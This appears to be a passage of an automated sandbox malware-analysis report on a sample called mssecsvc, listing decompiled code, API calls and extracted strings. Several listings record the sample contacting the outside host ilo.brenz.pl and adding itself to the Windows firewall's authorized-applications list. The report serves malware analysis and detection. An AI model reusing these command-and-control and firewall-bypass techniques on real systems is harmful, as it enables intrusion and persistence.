                                                                                          0x00a6b2fa
                                                                                          0x00a6b20f
                                                                                          0x00a6b212
                                                                                          0x00a6b216
                                                                                          0x00a6b21b
                                                                                          0x00a6b221
                                                                                          0x00a6b226
                                                                                          0x00a6b230
                                                                                          0x00a6b232
                                                                                          0x00a6b237
                                                                                          0x00a6b240
                                                                                          0x00a6b241
                                                                                          0x00a6b247
                                                                                          0x00a6b247
                                                                                          0x00a6b249
                                                                                          0x00a6b24b
                                                                                          0x00a6b24e
                                                                                          0x00a6b257
                                                                                          0x00a6b25d
                                                                                          0x00a6b262
                                                                                          0x00a6b264
                                                                                          0x00a6b273
                                                                                          0x00a6b27b
                                                                                          0x00a6b293
                                                                                          0x00a6b29e
                                                                                          0x00a6b2a4
                                                                                          0x00a6b2a4
                                                                                          0x00a6b27b
                                                                                          0x00a6b262
                                                                                          0x00a6b2a9
                                                                                          0x00a6b2ad
                                                                                          0x00a6b2b8
                                                                                          0x00a6b2b8
                                                                                          0x00a71994
                                                                                          0x00a71994
                                                                                          0x00a71998
                                                                                          0x00a7199b
                                                                                          0x00a7199d
                                                                                          0x00a71826
                                                                                          0x00a71829
                                                                                          0x00a71834
                                                                                          0x00a71839
                                                                                          0x00a7183b
                                                                                          0x00a7183c
                                                                                          0x00a7183e
                                                                                          0x00a71840
                                                                                          0x00a71842
                                                                                          0x00a71843
                                                                                          0x00a71847
                                                                                          0x00a7184d
                                                                                          0x00a71857
                                                                                          0x00a7185a
                                                                                          0x00000000
                                                                                          0x00a7185a

                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531306242.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000004.00000002.529303694.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000004.00000002.529317819.0000000000401000.00000020.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000004.00000002.529415176.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000004.00000002.529445046.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000004.00000002.529470783.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000004.00000002.529596392.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000004.00000002.529660580.0000000000710000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_400000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 0f95bfc8e90629492fe1ef84f95146c76f14e1484a854b7a8013fae1a31f2706
                                                                                          • Instruction ID: 65d3d0c3e286b99c55b9a05b0256575cef17fb47c0ce389e6492f651ae679159
                                                                                          • Opcode Fuzzy Hash: 0f95bfc8e90629492fe1ef84f95146c76f14e1484a854b7a8013fae1a31f2706
                                                                                          • Instruction Fuzzy Hash: EC113A36A041204FD7059F3C8D90BADB7E2EBC4720F14C62ED809AB245DE74D9858AC1
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA025E Relevance: .0, Instructions: 44COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: dd56900a55d2a15130fffa72fa74459d8e8ed7586601bd62b87cd2f46b472fb7
                                                                                          • Instruction ID: adbfbd38af7d6b3b6e600176733670128a04cd85f2811498561afb8ada02e3c1
                                                                                          • Opcode Fuzzy Hash: dd56900a55d2a15130fffa72fa74459d8e8ed7586601bd62b87cd2f46b472fb7
                                                                                          • Instruction Fuzzy Hash: DF012872A053415FD7219F38CC84BADBBA1FBD4334F108355E6540F189D632E2858661
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC025E Relevance: .0, Instructions: 44COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: dd56900a55d2a15130fffa72fa74459d8e8ed7586601bd62b87cd2f46b472fb7
                                                                                          • Instruction ID: 4fd4b524ab2000c58ff4032538c2f7ddb0534672e638eb36f613e6826655a9b2
                                                                                          • Opcode Fuzzy Hash: dd56900a55d2a15130fffa72fa74459d8e8ed7586601bd62b87cd2f46b472fb7
                                                                                          • Instruction Fuzzy Hash: 54016432644241DBDB20AF28CD88FADF7A1FB85334F158329F5640B18AD731E2828691
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00A71A02 Relevance: .0, Instructions: 28COMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 80%
                                                                                          			E00A71A02(void* __eax, void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, void* __eflags) {
				void* _t20;
				void* _t36;
				void* _t37;

				L0:
				 *((intOrPtr*)(_t37 + 0x58))(8);
				 *((intOrPtr*)(_t36 - 0xc1)) =  *((intOrPtr*)(_t36 - 0xc1)) + 1;
				 *((intOrPtr*)(_t37 + 0x58))();
				 *((intOrPtr*)(_t37 + 0x5c))(_t37);
				 *((intOrPtr*)(_t37 + 0x5c))();
				 *((intOrPtr*)(_t37 + 0x58))();
				_t20 =  *__edi();
				if(__esi == _t20) {
					goto L0;
				}
				_push(_t20);
				asm("rdtsc");
				return _t20;
			}






                                                                                          0x00a71a02
                                                                                          0x00a71a06
                                                                                          0x00a71a0a
                                                                                          0x00a71a10
                                                                                          0x00a71a15
                                                                                          0x00a71a1f
                                                                                          0x00a71a23
                                                                                          0x00a71a2b
                                                                                          0x00a71a34
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00a71a3b
                                                                                          0x00a71a3c
                                                                                          0x00a71a43

                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531306242.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000004.00000002.529303694.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000004.00000002.529317819.0000000000401000.00000020.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000004.00000002.529415176.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000004.00000002.529445046.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000004.00000002.529470783.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000004.00000002.529596392.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000004.00000002.529660580.0000000000710000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_400000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 85a503a058911fbb5061b90be6982874a95cd71a90ce9450b235b171dea67c50
                                                                                          • Instruction ID: 8e524e0ea50167fe7845da60000430b447b668eb4cb6e2e3bfa1e0facd4778cb
                                                                                          • Opcode Fuzzy Hash: 85a503a058911fbb5061b90be6982874a95cd71a90ce9450b235b171dea67c50
                                                                                          • Instruction Fuzzy Hash: 45E020750061104FE705AB59DC4C6DEFBE4FF80343F009018F09380011DEF888454B41
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA3F8F Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 224networkthreadlibraryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(7FEA3F83), ref: 7FEA3F8F
                                                                                          • WSAStartup.WS2_32(00000101), ref: 7FEA3FCE
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                                                                                          • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                                                                                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                                                                                          • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 7FEA4057
                                                                                          • gethostbyname.WS2_32(ilo.brenz.pl), ref: 7FEA4066
                                                                                          • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                                                                                          • connect.WS2_32(6F6C6902,7FEA3B09,00000010), ref: 7FEA40B1
                                                                                          • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                                                                                          • wsprintfA.USER32 ref: 7FEA4179
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 7FEA41B4
                                                                                          • CloseHandle.KERNEL32(?,00000000,6F6C6902,7FEA6AA2,00000000,00000000), ref: 7FEA41BD
                                                                                          • GetTickCount.KERNEL32 ref: 7FEA41F6
                                                                                          • RtlExitUserThread.NTDLL(00000000), ref: 7FEA4322
                                                                                          Strings
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 7FEA4195, 7FEA41DB
                                                                                          • ilo.brenz.pl, xrefs: 7FEA4056, 7FEA4065
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CreateThread$CloseHandle$CountEventExitLibraryLoadStartupTickUserVersionconnectgethostbynamelstrlensocketwsprintf
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\WINDOWS\TASKSCHE.EXE$ilo.brenz.pl
                                                                                          • API String ID: 3316401344-4028708141
                                                                                          • Opcode ID: ddb8fe4bd5fdd210e26ff7bad9c73aa659b133641d5d7bf307872437a698338a
                                                                                          • Instruction ID: 1da76589fb4dd87b5df105d6ae65f4369b8eb418b0376c81cadce6663e0d34e8
                                                                                          • Opcode Fuzzy Hash: ddb8fe4bd5fdd210e26ff7bad9c73aa659b133641d5d7bf307872437a698338a
                                                                                          • Instruction Fuzzy Hash: 1391EC71508348BEEB229F348859BEE7FAEEF41304F000648E85A9E191C3F66F45DB65
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC3F8F Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 224networkthreadlibraryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(00AC3F83), ref: 00AC3F8F
                                                                                          • WSAStartup.WS2_32(00000101), ref: 00AC3FCE
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00AC3FE9
                                                                                          • CloseHandle.KERNEL32(?,00000000), ref: 00AC3FF2
                                                                                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00AC3FFF
                                                                                          • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00AC4057
                                                                                          • gethostbyname.WS2_32(ilo.brenz.pl), ref: 00AC4066
                                                                                          • socket.WS2_32(00000002,00000001,00000000), ref: 00AC4097
                                                                                          • connect.WS2_32(6F6C6902,00AC3B09,00000010), ref: 00AC40B1
                                                                                          • GetVersionExA.KERNEL32(?,?,00000000), ref: 00AC40FB
                                                                                          • wsprintfA.USER32 ref: 00AC4179
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 00AC41B4
                                                                                          • CloseHandle.KERNEL32(?,00000000,6F6C6902,00AC6AA2,00000000,00000000), ref: 00AC41BD
                                                                                          • GetTickCount.KERNEL32 ref: 00AC41F6
                                                                                          • RtlExitUserThread.NTDLL(00000000), ref: 00AC4322
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 00AC4195, 00AC41DB
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00AC41DA
                                                                                          • ilo.brenz.pl, xrefs: 00AC4056, 00AC4065
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CreateThread$CloseHandle$CountEventExitLibraryLoadStartupTickUserVersionconnectgethostbynamelstrlensocketwsprintf
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\WINDOWS\TASKSCHE.EXE$ilo.brenz.pl
                                                                                          • API String ID: 3316401344-4028708141
                                                                                          • Opcode ID: ddb8fe4bd5fdd210e26ff7bad9c73aa659b133641d5d7bf307872437a698338a
                                                                                          • Instruction ID: dec2bfbe2e0c927ee54fad0e254e022524248fa71d51e37fd8f9afe2a10c63a0
                                                                                          • Opcode Fuzzy Hash: ddb8fe4bd5fdd210e26ff7bad9c73aa659b133641d5d7bf307872437a698338a
                                                                                          • Instruction Fuzzy Hash: 1191CC71504288BAEF319F24882EBEE7BADEF49310F05060CE99A9E181C7F45F45D769
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA3EB5 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 276networklibrarythreadCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(7FEA3EA9), ref: 7FEA3EB5
                                                                                            • Part of subcall function 7FEA3ECC: GetProcAddress.KERNEL32(00000000,7FEA3EC0), ref: 7FEA3ECD
                                                                                            • Part of subcall function 7FEA3ECC: GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,000000C8), ref: 7FEA3EE2
                                                                                            • Part of subcall function 7FEA3ECC: wsprintfA.USER32 ref: 7FEA3EF7
                                                                                            • Part of subcall function 7FEA3ECC: CreateThread.KERNEL32(00000000,00000000,7FEA3691,00000000,00000000), ref: 7FEA3F40
                                                                                            • Part of subcall function 7FEA3ECC: CloseHandle.KERNEL32(?,542F1145), ref: 7FEA3F49
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                                                                                          • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                                                                                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                                                                                          • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                                                                                          • connect.WS2_32(6F6C6902,7FEA3B09,00000010), ref: 7FEA40B1
                                                                                          • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                                                                                          • wsprintfA.USER32 ref: 7FEA4179
                                                                                          Strings
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Create$CloseHandleThreadwsprintf$AddressEventFileLibraryLoadModuleNameProcVersionconnectsocket
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 4150863296-243958042
                                                                                          • Opcode ID: f1d84134fe036aa05b481be4a2e3cefd3da6a37580bded02df9d0a272a27228e
                                                                                          • Instruction ID: a15a6457230e598bb6ef6cbbffa0e8635eaa4eb844119d8f0639b47af27d7a61
                                                                                          • Opcode Fuzzy Hash: f1d84134fe036aa05b481be4a2e3cefd3da6a37580bded02df9d0a272a27228e
                                                                                          • Instruction Fuzzy Hash: A3A1FF71419348BFEB219F348C49BFA7BACEF41304F004659E84A9E092D6F66F05C7A2
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC3EB5 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 276networklibrarythreadCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(00AC3EA9), ref: 00AC3EB5
                                                                                            • Part of subcall function 00AC3ECC: GetProcAddress.KERNEL32(00000000,00AC3EC0), ref: 00AC3ECD
                                                                                            • Part of subcall function 00AC3ECC: GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,000000C8), ref: 00AC3EE2
                                                                                            • Part of subcall function 00AC3ECC: wsprintfA.USER32 ref: 00AC3EF7
                                                                                            • Part of subcall function 00AC3ECC: CreateThread.KERNEL32(00000000,00000000,00AC3691,00000000,00000000), ref: 00AC3F40
                                                                                            • Part of subcall function 00AC3ECC: CloseHandle.KERNEL32(?,542F1145), ref: 00AC3F49
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00AC3FE9
                                                                                          • CloseHandle.KERNEL32(?,00000000), ref: 00AC3FF2
                                                                                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00AC3FFF
                                                                                          • socket.WS2_32(00000002,00000001,00000000), ref: 00AC4097
                                                                                          • connect.WS2_32(6F6C6902,00AC3B09,00000010), ref: 00AC40B1
                                                                                          • GetVersionExA.KERNEL32(?,?,00000000), ref: 00AC40FB
                                                                                          • wsprintfA.USER32 ref: 00AC4179
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 00AC3EF6, 00AC3F08
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00AC3F0C
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 00AC3EDF, 00AC3EF4, 00AC3F0B, 00AC4195, 00AC41DB
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00AC41DA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Create$CloseHandleThreadwsprintf$AddressEventFileLibraryLoadModuleNameProcVersionconnectsocket
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 4150863296-243958042
                                                                                          • Opcode ID: f1d84134fe036aa05b481be4a2e3cefd3da6a37580bded02df9d0a272a27228e
                                                                                          • Instruction ID: a6a1000a0bd5110e847cf5ba0197f15932b6314e4b97b4582aeae809fbfdcd83
                                                                                          • Opcode Fuzzy Hash: f1d84134fe036aa05b481be4a2e3cefd3da6a37580bded02df9d0a272a27228e
                                                                                          • Instruction Fuzzy Hash: 26A1DF72508248BFEB219F248C5EFEA7BACEF45300F06464DE84A9E082D6F45F45C7A5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA3ECC Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 265threadlibraryloaderCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetProcAddress.KERNEL32(00000000,7FEA3EC0), ref: 7FEA3ECD
                                                                                          • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,000000C8), ref: 7FEA3EE2
                                                                                          • wsprintfA.USER32 ref: 7FEA3EF7
                                                                                          • CreateThread.KERNEL32(00000000,00000000,7FEA3691,00000000,00000000), ref: 7FEA3F40
                                                                                          • CloseHandle.KERNEL32(?,542F1145), ref: 7FEA3F49
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                                                                                          • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                                                                                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                                                                                            • Part of subcall function 7FEA3405: NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA344A
                                                                                            • Part of subcall function 7FEA3405: NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3469
                                                                                            • Part of subcall function 7FEA3405: MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA3493
                                                                                            • Part of subcall function 7FEA3405: CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA34A0
                                                                                            • Part of subcall function 7FEA3405: UnmapViewOfFile.KERNEL32(?), ref: 7FEA34B8
                                                                                          Strings
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CloseCreateFileHandle$ThreadView$AddressEventInformationModuleNameOpenProcQuerySectionSystemUnmapwsprintf
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 541178049-243958042
                                                                                          • Opcode ID: 93ed13287a7bd2140dafd5b4f212b57c54acf0fe28af45ebd9ce4fa85cb1ab7f
                                                                                          • Instruction ID: d9e398f0cb57442fd0ba00def27d3fe33590f3ea382637dc010686527708efc5
                                                                                          • Opcode Fuzzy Hash: 93ed13287a7bd2140dafd5b4f212b57c54acf0fe28af45ebd9ce4fa85cb1ab7f
                                                                                          • Instruction Fuzzy Hash: 65A10071408348BFEB219F348C49BEA7BACEF81304F004659E84A9E091D7F66F05C7A1
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC3ECC Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 265threadlibraryloaderCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetProcAddress.KERNEL32(00000000,00AC3EC0), ref: 00AC3ECD
                                                                                          • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,000000C8), ref: 00AC3EE2
                                                                                          • wsprintfA.USER32 ref: 00AC3EF7
                                                                                          • CreateThread.KERNEL32(00000000,00000000,00AC3691,00000000,00000000), ref: 00AC3F40
                                                                                          • CloseHandle.KERNEL32(?,542F1145), ref: 00AC3F49
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00AC3FE9
                                                                                          • CloseHandle.KERNEL32(?,00000000), ref: 00AC3FF2
                                                                                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00AC3FFF
                                                                                            • Part of subcall function 00AC3405: NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00AC344A
                                                                                            • Part of subcall function 00AC3405: NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00AC3469
                                                                                            • Part of subcall function 00AC3405: MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00AC3493
                                                                                            • Part of subcall function 00AC3405: CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00AC34A0
                                                                                            • Part of subcall function 00AC3405: UnmapViewOfFile.KERNEL32(?), ref: 00AC34B8
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 00AC3EF6, 00AC3F08
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00AC3F0C
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 00AC3EDF, 00AC3EF4, 00AC3F0B, 00AC4195, 00AC41DB
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00AC41DA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
